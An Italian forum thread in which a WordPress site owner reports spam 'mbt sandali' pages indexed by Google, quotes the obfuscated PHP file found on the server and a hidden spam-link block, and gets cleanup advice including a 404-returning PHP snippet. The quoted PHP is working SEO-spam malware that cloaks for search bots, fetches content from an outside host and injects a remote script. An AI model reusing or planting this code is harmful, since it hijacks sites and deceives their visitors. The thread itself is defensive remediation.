- Home
- Categorie
- Coding e Sistemistica
- WordPress
- pagine non esistenti, ma indicizzate da google
-
pagine non esistenti, ma indicizzate da google
Ho lanciato da una settimana un nuovo sito fatto con wp e andando su strumenti per webmaster trovo che la parola più ricorrente è scarpe mbt, il sito invece tratta di assicurazioni e non vi è nessuna parola con scarpe mbt. Ho pensato che fosse un errore di woocommerce che è installato, ma non utilizzato. Ho provveduto quindi a disinistallarlo. Con Analytics alcuni click vengono da nome sito/public/?mbt-sandali=**304.
Ma **/public/?mbt-sandali=**304 non è una pagina create da me.
Com'è possibile che sia presente ?
Il bello che è pure in prima pagina nelle ricerche google!!!!
Analytics e bing non trovano alcun malware...
Sono state indicizzate anche altre pagine e non solo sandali=304
**
Vi è mai capitato???
Come si può risolvere?
-
E' certamente un malware. Probabilmente non hai tenuto aggiornata piattaforma e plugins, sbaglio? Oppure qualche admin del tuo sito potrebbe accedere da un computer infetto (cosa non infrequente). Altra falla può essere fornita da temi gratuiti o di dubbia provenienza.
Forse (bisognerebbe analizzare la situazione da vicino per decidere) dovrai:
- reinstallare WP
- reimportare pagine ed articoli (con lo strumento import/export)
- reinstallare plugins
- reinstallare il tema
- rafforzare la sicurezza
Ti rimando ad un mio articolo che riguarda il Pharma Hack di WordPress ma che in realtà sembra molto vicino al tuo caso:
marcopanichi.com/blog/come-risolvere-attacco-hacker-viagra-wordpress-pharma-hack/
-
ho scoperto che cosa è successo: due mesi fa è stato inserito a mia insaputa un file "index.php" in una sottocartella denominata "public" il cui codice è questo:<?php//Inizio Codice Shinystaterror_reporting(0);if(preg_match('/google|bing|yahoo/i',@$_SERVER["HTTP_USER_AGENT"])){$url=chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(105).chr(116).chr(46).chr(115).chr(104).chr(105).chr(110).chr(121).chr(115).chr(116).chr(97).chr(116).chr(97).chr(46).chr(99).chr(111).chr(109).chr(47).'itm/?s='.$_SERVER['HTTP_HOST'].'&a='.(isset($_GET['mbt-sandali'])?$_GET['mbt-sandali']:1);ob_clean();$cod=file_get_contents($url);if(strlen($cod)>1000) {header("HTTP/1.1 200 OK");exit($cod);} elseif(strpos($cod,"closed")!==false) {$site='closed';} else {header("HTTP/1.1 503 Service Temporarily Unavailable");exit;}}if(preg_match('/google|bing|yahoo/i',@$_SERVER["HTTP_REFERER"])){ob_clean();header("HTTP/1.1 200 OK");exit('<script src="'.chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(105).chr(116).chr(46).chr(115).chr(104).chr(105).chr(110).chr(121).chr(115).chr(116).chr(97).chr(116).chr(97).chr(46).chr(99).chr(111).chr(109).chr(47).'itm/m1.js"></script>');}//Fine Codice Shinystat?>
Poi è stato aggiunto questo codice sulle pagine principali del sito:
<p><a href="index.php"><br><div style="position:absolute;left:-2228px;z-index:-1199; "> <ul>
<li><a href="/public/?mbt-sandali=13">mbt kisumu sandali</a></li> <li><a
href="/public/?mbt-sandali=14">mbt panda sandali</a></li> <li><a href="/public/?mbt-sandali=15">mbt pia
sandali</a></li> <li><a
href="/public/?mbt-sandali=16">mbt sadiki
sandali</a></li> </ul>Non so però se sono state modificate altre impostazioni.Quando ho spostato il sito in wordpress e messo su linux (passando da un sito statico in ambiente windows a wp in linux) google ha iniziato a indicizzare quelle pagine.Ho notato anche che un'intera sottocartella, per me strategica, ha riportato da due mesi un codice 403, mentre lavoravo alla realizzazione del nuovo sito. Ora mi domando:Che senso ha il codice sopra riportato? Rimanda anche al sito Shinystat (che non ho mai usato)Il codice sporcato sul sito in windows ha conseguenze ora sul nuovo?
-
Ho già proceduto a cancellare la pagina index.php nella sottocartella.
ma quali altri modifiche devo fare oltre a cancellare il codice anche nelle pagine.
E la gestione dei permessi della cartella che genera l'errore, che però ora è stata sostituita da un altra, su linux?
-
ciao Flavianof,
Alcune osservazioni:
il rimando a Shinystat serve forse a camuffare lo script malevolo
il malware, come immaginavo, agisce come per il pharma hack e si avvale di cloaking, ossia al motore mostra una cosa diversa da quella mostrata all'utente: **if(preg_match('/google|bing|yahoo/i',@$_SERVER["HTTP_REFERER"])){ ... }
**> il codice sopra riportato quindi serve a mostrare contenuti ai motori che servono all'hacker per spingere il suo sito nelle SERPs. Lui avrebbe potuto chiaramente creare un blog da zero ma questo avrebbe avuto probabilmente meno autorità del tuo, esistente probabilmente da vari anniRiguardo dalla rimozione delle pagine "sporche" dalla SERP devi stare molto attento. Sarebbe rischioso rimuvoere gli URLs tramite GWT perché questi sono in sostanza l'home page che però varia grazie alla query "?mbt-sandali=ecc".
Quello che devi fare è invece dire a Google, la prossima volta che crawlerà una pagina del tipo "?mbt-sandali=ecc" che questa pagina è not found (codice 404).
Per fare questo puoi usare il codice che ho riportato anche nell'articolo che ti dicevo prima e che per comodità di riporto di seguito:
// inserisci qui gli url infettati senza dominio ma con slash iniziale e finale $URL_INFETTI =array( '/', '/url-infetto-1/', '/url-infetto-2/', // ecc... ); // ritorno 404 quando l'utente / googlebot chiede questa pagina aggiungendo un parametro $URI = explode( '?', $_SERVER["REQUEST_URI"] ); $URI = $URI[0]; if( in_array( $URI, $URL_INFETTI ) and $_SERVER['QUERY_STRING']!='' ) { header('HTTP/1.0 404 Not Found'); echo "<h1>404 Not Found</h1>"; echo "The page that you have requested could not be found."; exit(); }
Fatto questo puoi velocizzare la scansione di Google sul tuo sito inviando una sitemap.
Per verificare l'effettivo funzionamento della cura, googla "site:[TUO SITO CON DAVANTI HTTP]" e controlla che con il passare del tempo il numero dei risultati sia ridotto alle pagine reali del tuo sito e che la serp sia sgombra da URL malevoli.
Facci sapere!